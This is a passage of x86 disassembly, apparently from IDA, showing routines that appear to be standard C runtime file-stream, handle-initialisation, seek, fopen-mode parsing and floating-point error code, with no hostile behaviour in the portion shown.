call sub_42F1DB
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_42F2E2
inc ebx
jmp short loc_42F2E2
; ---------------------------------------------------------------------------
loc_42F2C8: ; CODE XREF: sub_42F26E+49j
cmp [esp+0Ch+arg_0], 0
jnz short loc_42F2E2
test cl, 2
jz short loc_42F2E2
push eax
call sub_42F1DB
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42F2E2
or edi, eax
loc_42F2E2: ; CODE XREF: sub_42F26E+42j
; sub_42F26E+55j ...
mov eax, dword_676FEC
push dword ptr [eax+esi*4]
push esi
call sub_42C185
pop ecx
pop ecx
loc_42F2F2: ; CODE XREF: sub_42F26E+23j
; sub_42F26E+29j
inc esi
cmp esi, dword_678000
jl short loc_42F287
loc_42F2FB: ; CODE XREF: sub_42F26E+17j
push 2
call sub_42DA80
cmp [esp+10h+arg_0], 1
pop ecx
mov eax, ebx
jz short loc_42F30E
mov eax, edi
loc_42F30E: ; CODE XREF: sub_42F26E+9Cj
pop edi
pop esi
pop ebx
retn
sub_42F26E endp
; =============== S U B R O U T I N E =======================================
sub_42F312 proc near ; CODE XREF: sub_42A0E7+A9p
; sub_42AFB7+34p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_42F3E9
test al, 40h
jnz loc_42F3E9
test al, 2
jz short loc_42F338
or al, 20h
mov [esi+0Ch], eax
jmp loc_42F3E9
; ---------------------------------------------------------------------------
loc_42F338: ; CODE XREF: sub_42F312+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_42F34C
push esi
call sub_433123
pop ecx
jmp short loc_42F351
; ---------------------------------------------------------------------------
loc_42F34C: ; CODE XREF: sub_42F312+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_42F351: ; CODE XREF: sub_42F312+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_42F3EE
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_42F3D8
cmp eax, 0FFFFFFFFh
jz short loc_42F3D8
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_42F3AD
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_42F396
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_676EC0[edi*4]
lea ecx, [ecx+ecx*8]
lea edi, [edi+ecx*4]
jmp short loc_42F39B
; ---------------------------------------------------------------------------
loc_42F396: ; CODE XREF: sub_42F312+6Bj
mov edi, offset dword_4535B0
loc_42F39B: ; CODE XREF: sub_42F312+82j
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_42F3AD
or dh, 20h
mov [esi+0Ch], edx
loc_42F3AD: ; CODE XREF: sub_42F312+62j
; sub_42F312+93j
cmp dword ptr [esi+18h], 200h
jnz short loc_42F3CA
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_42F3CA
test ch, 4
jnz short loc_42F3CA
mov dword ptr [esi+18h], 1000h
loc_42F3CA: ; CODE XREF: sub_42F312+A2j
; sub_42F312+AAj ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F3D8: ; CODE XREF: sub_42F312+55j
; sub_42F312+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_42F3E9: ; CODE XREF: sub_42F312+Aj
; sub_42F312+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_42F312 endp
; =============== S U B R O U T I N E =======================================
sub_42F3EE proc near ; CODE XREF: sub_41EBD7+ECp
; sub_42A0E7+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_676FC0
jnb short loc_42F43B
mov ecx, esi
mov eax, esi
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
test byte ptr [ecx+eax*4+4], 1
jz short loc_42F43B
push edi
push esi
call sub_43234B
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push esi
call sub_42F453
push esi
mov edi, eax
call sub_4323AA
add esp, 14h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F43B: ; CODE XREF: sub_42F3EE+Bj
; sub_42F3EE+26j
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
pop esi
retn
sub_42F3EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F453 proc near ; CODE XREF: sub_42F3EE+38p
; sub_4335E9+274p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_8], 0
cmp [ebp+arg_8], 0
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
mov edx, ebx
jz loc_42F625
mov eax, [ebp+arg_0]
mov ecx, eax
and eax, 1Fh
sar ecx, 5
lea esi, [eax+eax*8]
mov eax, dword_676EC0[ecx*4]
lea edi, ds:676EC0h[ecx*4]
shl esi, 2
add eax, esi
mov cl, [eax+4]
test cl, 2
jnz loc_42F625
test cl, 48h
jz short loc_42F4BE
mov al, [eax+5]
cmp al, 0Ah
jz short loc_42F4BE
dec [ebp+arg_8]
mov [ebx], al
mov eax, [edi]
lea edx, [ebx+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_42F4BE: ; CODE XREF: sub_42F453+4Cj
; sub_42F453+53j
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [edi]
push [ebp+arg_8]
push edx
push dword ptr [eax+esi]
call dword_437084 ; ReadFile
test eax, eax
jnz short loc_42F510
call dword_43716C ; RtlGetLastWin32Error
push 5
pop esi
cmp eax, esi
jnz short loc_42F4F8
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
mov [eax], esi
jmp short loc_42F508
; ---------------------------------------------------------------------------
loc_42F4F8: ; CODE XREF: sub_42F453+8Fj
cmp eax, 6Dh
jz loc_42F625
push eax
call sub_42EFD6
pop ecx
loc_42F508: ; CODE XREF: sub_42F453+A3j
or eax, 0FFFFFFFFh
jmp loc_42F627
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: sub_42F453+82j
mov eax, [edi]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_42F620
test edx, edx
jz short loc_42F535
cmp byte ptr [ebx], 0Ah
jnz short loc_42F535
or al, 4
jmp short loc_42F537
; ---------------------------------------------------------------------------
loc_42F535: ; CODE XREF: sub_42F453+D7j
; sub_42F453+DCj
and al, 0FBh
loc_42F537: ; CODE XREF: sub_42F453+E0j
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_42F61A
loc_42F54F: ; CODE XREF: sub_42F453+1AFj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_42F60A
cmp al, 0Dh
jz short loc_42F56B
mov [ebx], al
inc ebx
inc [ebp+arg_8]
jmp loc_42F5FC
; ---------------------------------------------------------------------------
loc_42F56B: ; CODE XREF: sub_42F453+10Bj
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_42F589
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_42F580
add [ebp+arg_8], 2
jmp short loc_42F5DE
; ---------------------------------------------------------------------------
loc_42F580: ; CODE XREF: sub_42F453+125j
mov byte ptr [ebx], 0Dh
inc ebx
mov [ebp+arg_8], eax
jmp short loc_42F5FC
; ---------------------------------------------------------------------------
loc_42F589: ; CODE XREF: sub_42F453+11Cj
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [edi]
push dword ptr [eax+esi]
call dword_437084 ; ReadFile
test eax, eax
jnz short loc_42F5B1
call dword_43716C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_42F5F8
loc_42F5B1: ; CODE XREF: sub_42F453+152j
cmp [ebp+var_C], 0
jz short loc_42F5F8
mov eax, [edi]
test byte ptr [eax+esi+4], 48h
jz short loc_42F5D3
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_42F5DE
mov byte ptr [ebx], 0Dh
mov ecx, [edi]
inc ebx
mov [ecx+esi+5], al
jmp short loc_42F5FC
; ---------------------------------------------------------------------------
loc_42F5D3: ; CODE XREF: sub_42F453+16Bj
cmp ebx, [ebp+arg_4]
jnz short loc_42F5E3
cmp [ebp+var_1], 0Ah
jnz short loc_42F5E3
loc_42F5DE: ; CODE XREF: sub_42F453+12Bj
; sub_42F453+172j
mov byte ptr [ebx], 0Ah
jmp short loc_42F5FB
; ---------------------------------------------------------------------------
loc_42F5E3: ; CODE XREF: sub_42F453+183j
; sub_42F453+189j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42F84D
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_42F5FC
loc_42F5F8: ; CODE XREF: sub_42F453+15Cj
; sub_42F453+162j
mov byte ptr [ebx], 0Dh
loc_42F5FB: ; CODE XREF: sub_42F453+18Ej
inc ebx
loc_42F5FC: ; CODE XREF: sub_42F453+113j
; sub_42F453+134j ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_42F54F
jmp short loc_42F61A
; ---------------------------------------------------------------------------
loc_42F60A: ; CODE XREF: sub_42F453+103j
mov eax, [edi]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_42F61A
or al, 2
mov [esi], al
loc_42F61A: ; CODE XREF: sub_42F453+F6j
; sub_42F453+1B5j ...
sub ebx, [ebp+arg_4]
mov [ebp+var_8], ebx
loc_42F620: ; CODE XREF: sub_42F453+CFj
mov eax, [ebp+var_8]
jmp short loc_42F627
; ---------------------------------------------------------------------------
loc_42F625: ; CODE XREF: sub_42F453+16j
; sub_42F453+43j ...
xor eax, eax
loc_42F627: ; CODE XREF: sub_42F453+B8j
; sub_42F453+1D0j
pop edi
pop esi
pop ebx
leave
retn
sub_42F453 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F62C proc near ; CODE XREF: sub_42C4A4+81p
var_48 = byte ptr -48h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
push 480h
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
jnz short loc_42F64E
push 1Bh
call sub_42C5AC
pop ecx
loc_42F64E: ; CODE XREF: sub_42F62C+18j
mov dword_676EC0, esi
mov dword_676FC0, 20h
lea eax, [esi+480h]
loc_42F664: ; CODE XREF: sub_42F62C+58j
cmp esi, eax
jnb short loc_42F686
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
and dword ptr [esi+8], 0
mov byte ptr [esi+5], 0Ah
mov eax, dword_676EC0
add esi, 24h
add eax, 480h
jmp short loc_42F664
; ---------------------------------------------------------------------------
loc_42F686: ; CODE XREF: sub_42F62C+3Aj
lea eax, [ebp+var_48]
push eax
call dword_437234 ; GetStartupInfoA
cmp [ebp+var_16], 0
jz loc_42F76C
mov eax, [ebp+var_14]
test eax, eax
jz loc_42F76C
mov edi, [eax]
lea ebx, [eax+4]
lea eax, [ebx+edi]
mov [ebp+var_4], eax
mov eax, 800h
cmp edi, eax
jl short loc_42F6BC
mov edi, eax
loc_42F6BC: ; CODE XREF: sub_42F62C+8Cj
cmp dword_676FC0, edi
jge short loc_42F71A
mov esi, offset dword_676EC4
loc_42F6C9: ; CODE XREF: sub_42F62C+E4j
push 480h
call sub_4296E8
test eax, eax
pop ecx
jz short loc_42F714
add dword_676FC0, 20h
mov [esi], eax
lea ecx, [eax+480h]
loc_42F6E7: ; CODE XREF: sub_42F62C+D9j
cmp eax, ecx
jnb short loc_42F707
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
and dword ptr [eax+8], 0
mov byte ptr [eax+5], 0Ah
mov ecx, [esi]
add eax, 24h
add ecx, 480h
jmp short loc_42F6E7
; ---------------------------------------------------------------------------
loc_42F707: ; CODE XREF: sub_42F62C+BDj
add esi, 4
cmp dword_676FC0, edi
jl short loc_42F6C9
jmp short loc_42F71A
; ---------------------------------------------------------------------------
loc_42F714: ; CODE XREF: sub_42F62C+AAj
mov edi, dword_676FC0
loc_42F71A: ; CODE XREF: sub_42F62C+96j
; sub_42F62C+E6j
xor esi, esi
test edi, edi
jle short loc_42F76C
loc_42F720: ; CODE XREF: sub_42F62C+13Ej
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_42F762
mov al, [ebx]
test al, 1
jz short loc_42F762
test al, 8
jnz short loc_42F73F
push ecx
call dword_4371F0 ; GetFileType
test eax, eax
jz short loc_42F762
loc_42F73F: ; CODE XREF: sub_42F62C+106j
mov ecx, esi
mov eax, esi
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
lea eax, [ecx+eax*4]
mov ecx, [ebp+var_4]
mov ecx, [ecx]
mov [eax], ecx
mov cl, [ebx]
mov [eax+4], cl
loc_42F762: ; CODE XREF: sub_42F62C+FCj
; sub_42F62C+102j ...
add [ebp+var_4], 4
inc esi
inc ebx
cmp esi, edi
jl short loc_42F720
loc_42F76C: ; CODE XREF: sub_42F62C+69j
; sub_42F62C+74j ...
xor ebx, ebx
loc_42F76E: ; CODE XREF: sub_42F62C+1A9j
mov ecx, dword_676EC0
lea eax, [ebx+ebx*8]
cmp dword ptr [ecx+eax*4], 0FFFFFFFFh
lea esi, [ecx+eax*4]
jnz short loc_42F7CD
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42F78D
push 0FFFFFFF6h
pop eax
jmp short loc_42F797
; ---------------------------------------------------------------------------
loc_42F78D: ; CODE XREF: sub_42F62C+15Aj
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_42F797: ; CODE XREF: sub_42F62C+15Fj
push eax
call dword_4371FC ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42F7BC
push edi
call dword_4371F0 ; GetFileType
test eax, eax
jz short loc_42F7BC
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_42F7C2
loc_42F7BC: ; CODE XREF: sub_42F62C+177j
; sub_42F62C+182j
or byte ptr [esi+4], 40h
jmp short loc_42F7D1
; ---------------------------------------------------------------------------
loc_42F7C2: ; CODE XREF: sub_42F62C+18Ej
cmp eax, 3
jnz short loc_42F7D1
or byte ptr [esi+4], 8
jmp short loc_42F7D1
; ---------------------------------------------------------------------------
loc_42F7CD: ; CODE XREF: sub_42F62C+152j
or byte ptr [esi+4], 80h
loc_42F7D1: ; CODE XREF: sub_42F62C+194j
; sub_42F62C+199j ...
inc ebx
cmp ebx, 3
jl short loc_42F76E
push dword_676FC0
call dword_437200 ; SetHandleCount
pop edi
pop esi
pop ebx
leave
retn
sub_42F62C endp
; =============== S U B R O U T I N E =======================================
sub_42F7E8 proc near ; CODE XREF: sub_42A1F1+20p
; sub_42A1F1+EBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_676FC0
jnb short loc_42F835
mov ecx, esi
mov eax, esi
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
test byte ptr [ecx+eax*4+4], 1
jz short loc_42F835
push edi
push esi
call sub_43234B
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push esi
call sub_42F84D
push esi
mov edi, eax
call sub_4323AA
add esp, 14h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F835: ; CODE XREF: sub_42F7E8+Bj
; sub_42F7E8+26j
call sub_42F049
mov dword ptr [eax], 9
call sub_42F052
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
pop esi
retn
sub_42F7E8 endp
; =============== S U B R O U T I N E =======================================
sub_42F84D proc near ; CODE XREF: sub_42F453+197p
; sub_42F7E8+38p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_432309
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42F86C
call sub_42F049
mov dword ptr [eax], 9
jmp short loc_42F899
; ---------------------------------------------------------------------------
loc_42F86C: ; CODE XREF: sub_42F84D+10j
push [esp+8+arg_8]
push 0
push [esp+10h+arg_4]
push eax
call dword_4370AC ; SetFilePointer
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42F88C
call dword_43716C ; RtlGetLastWin32Error
jmp short loc_42F88E
; ---------------------------------------------------------------------------
loc_42F88C: ; CODE XREF: sub_42F84D+35j
xor eax, eax
loc_42F88E: ; CODE XREF: sub_42F84D+3Dj
test eax, eax
jz short loc_42F89E
push eax
call sub_42EFD6
pop ecx
loc_42F899: ; CODE XREF: sub_42F84D+1Dj
or eax, 0FFFFFFFFh
jmp short loc_42F8BD
; ---------------------------------------------------------------------------
loc_42F89E: ; CODE XREF: sub_42F84D+43j
mov ecx, esi
and esi, 1Fh
sar ecx, 5
mov eax, esi
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
and byte ptr [ecx+eax*4+4], 0FDh
lea eax, [ecx+eax*4+4]
mov eax, edi
loc_42F8BD: ; CODE XREF: sub_42F84D+4Fj
pop edi
pop esi
retn
sub_42F84D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F8C0 proc near ; CODE XREF: sub_42A40B+1Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_676B14
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_42F8F9
cmp al, 72h
jz short loc_42F8F2
cmp al, 77h
jnz loc_42FA0D
mov ecx, 301h
jmp short loc_42F8FE
; ---------------------------------------------------------------------------
loc_42F8F2: ; CODE XREF: sub_42F8C0+21j
xor ecx, ecx
or esi, 1
jmp short loc_42F901
; ---------------------------------------------------------------------------
loc_42F8F9: ; CODE XREF: sub_42F8C0+1Dj
mov ecx, 109h
loc_42F8FE: ; CODE XREF: sub_42F8C0+30j
or esi, 2
loc_42F901: ; CODE XREF: sub_42F8C0+37j
push 1
pop edx
loc_42F904: ; CODE XREF: sub_42F8C0+8Bj
; sub_42F8C0+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_42F9F3
cmp edx, ebx
jz loc_42F9F3
movsx eax, al
cmp eax, 54h
jg short loc_42F992
jz short loc_42F982
sub eax, 2Bh
jz short loc_42F96C
sub eax, 19h
jz short loc_42F962
sub eax, 0Eh
jz short loc_42F94D
dec eax
jnz loc_42F9E4
cmp [ebp+var_4], ebx
jnz loc_42F9E4
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_42F904
; ---------------------------------------------------------------------------
loc_42F94D: ; CODE XREF: sub_42F8C0+6Fj
cmp [ebp+var_4], ebx
jnz loc_42F9E4
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_42F904
; ---------------------------------------------------------------------------
loc_42F962: ; CODE XREF: sub_42F8C0+6Aj
test cl, 40h
jnz short loc_42F9E4
or ecx, 40h
jmp short loc_42F904
; ---------------------------------------------------------------------------
loc_42F96C: ; CODE XREF: sub_42F8C0+65j
test cl, 2
jnz short loc_42F9E4
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_42F904
; ---------------------------------------------------------------------------
loc_42F982: ; CODE XREF: sub_42F8C0+60j
mov eax, 1000h
test ecx, eax
jnz short loc_42F9E4
or ecx, eax
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F992: ; CODE XREF: sub_42F8C0+5Ej
sub eax, 62h
jz short loc_42F9DF
dec eax
jz short loc_42F9C8
sub eax, 0Bh
jz short loc_42F9B1
sub eax, 6
jnz short loc_42F9E4
test ch, 0C0h
jnz short loc_42F9E4
or ch, 40h
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F9B1: ; CODE XREF: sub_42F8C0+DDj
cmp [ebp+var_8], ebx
jnz short loc_42F9E4
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F9C8: ; CODE XREF: sub_42F8C0+D8j
cmp [ebp+var_8], ebx
jnz short loc_42F9E4
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F9DF: ; CODE XREF: sub_42F8C0+D5j
test ch, 0C0h
jz short loc_42F9EB
loc_42F9E4: ; CODE XREF: sub_42F8C0+72j
; sub_42F8C0+7Bj ...
xor edx, edx
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F9EB: ; CODE XREF: sub_42F8C0+122j
or ch, 80h
jmp loc_42F904
; ---------------------------------------------------------------------------
loc_42F9F3: ; CODE XREF: sub_42F8C0+4Aj
; sub_42F8C0+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_4335E9
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_42FA11
loc_42FA0D: ; CODE XREF: sub_42F8C0+25j
xor eax, eax
jmp short loc_42FA2B
; ---------------------------------------------------------------------------
loc_42FA11: ; CODE XREF: sub_42F8C0+14Bj
mov eax, [ebp+arg_C]
inc dword_676900
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_42FA2B: ; CODE XREF: sub_42F8C0+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_42F8C0 endp
; =============== S U B R O U T I N E =======================================
sub_42FA30 proc near ; CODE XREF: sub_42A40B+1p
push ebx
push esi
push edi
push 2
xor ebx, ebx
xor edi, edi
call sub_42DA1F
xor esi, esi
cmp dword_678000, ebx
pop ecx
jle loc_42FAEA
loc_42FA4D: ; CODE XREF: sub_42FA30+57j
mov eax, dword_676FEC
mov eax, [eax+esi*4]
cmp eax, ebx
jz short loc_42FA90
test byte ptr [eax+0Ch], 83h
jnz short loc_42FA80
push eax
push esi
call sub_42C133
pop ecx
pop ecx
mov ecx, dword_676FEC
mov eax, [ecx+esi*4]
test byte ptr [eax+0Ch], 83h
jz short loc_42FA8B
push eax
push esi
call sub_42C185
pop ecx
pop ecx
loc_42FA80: ; CODE XREF: sub_42FA30+2Dj
inc esi
cmp esi, dword_678000
jl short loc_42FA4D
jmp short loc_42FAEA
; ---------------------------------------------------------------------------
loc_42FA8B: ; CODE XREF: sub_42FA30+45j
mov edi, [ecx+esi*4]
jmp short loc_42FAD4
; ---------------------------------------------------------------------------
loc_42FA90: ; CODE XREF: sub_42FA30+27j
push 38h
shl esi, 2
call sub_4296E8
pop ecx
mov ecx, dword_676FEC
mov [esi+ecx], eax
mov eax, dword_676FEC
mov eax, [esi+eax]
cmp eax, ebx
jz short loc_42FAEA
add eax, 20h
push eax
call dword_437154 ; InitializeCriticalSection
mov eax, dword_676FEC
mov eax, [esi+eax]
add eax, 20h
push eax
call dword_4370C8 ; RtlEnterCriticalSection
mov eax, dword_676FEC
mov edi, [esi+eax]
loc_42FAD4: ; CODE XREF: sub_42FA30+5Ej
cmp edi, ebx
jz short loc_42FAEA
or dword ptr [edi+10h], 0FFFFFFFFh
mov [edi+4], ebx
mov [edi+0Ch], ebx
mov [edi+8], ebx
mov [edi], ebx
mov [edi+1Ch], ebx
loc_42FAEA: ; CODE XREF: sub_42FA30+17j
; sub_42FA30+59j ...
push 2
call sub_42DA80
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_42FA30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42FAF8(int, double, int)
sub_42FAF8 proc near ; CODE XREF: sub_42A636+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = qword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_453B00, 0
jnz short loc_42FB2D
push [ebp+arg_C] ; int
fld [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_4300AE
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42FB2D: ; CODE XREF: sub_42FAF8+Aj
call sub_42F049
push 0FFFFh
mov dword ptr [eax], 21h
push [ebp+arg_C]
call sub_430323
fld [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_42FAF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42FB4C(int, int, double, double, int)
sub_42FB4C proc near ; CODE XREF: sub_42A636:loc_42A6F9p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42FE97
add esp, 0Ch
test eax, eax
jnz short loc_42FB8A
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42FBE4
add esp, 18h
loc_42FB8A: ; CODE XREF: sub_42FB4C+1Aj
push [ebp+arg_0]
call sub_430183
cmp dword_453B00, 0
pop ecx
jnz short loc_42FBC8
test eax, eax
jz short loc_42FBC8
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_4300AE
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_42FBC8: ; CODE XREF: sub_42FB4C+4Ej
; sub_42FB4C+52j
push eax
call sub_430136
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_430323
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_42FB4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FBE4 proc near ; CODE XREF: sub_42FB4C+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42FC16
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42FC16: ; CODE XREF: sub_42FBE4+23j
test cl, 2
jz short loc_42FC29
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_42FC29: ; CODE XREF: sub_42FBE4+35j
test cl, bl
jz short loc_42FC3B
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_42FC3B: ; CODE XREF: sub_42FBE4+47j
test cl, 4
jz short loc_42FC4E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_42FC4E: ; CODE XREF: sub_42FBE4+5Aj
test cl, 8
jz short loc_42FC61
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_42FC61: ; CODE XREF: sub_42FBE4+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
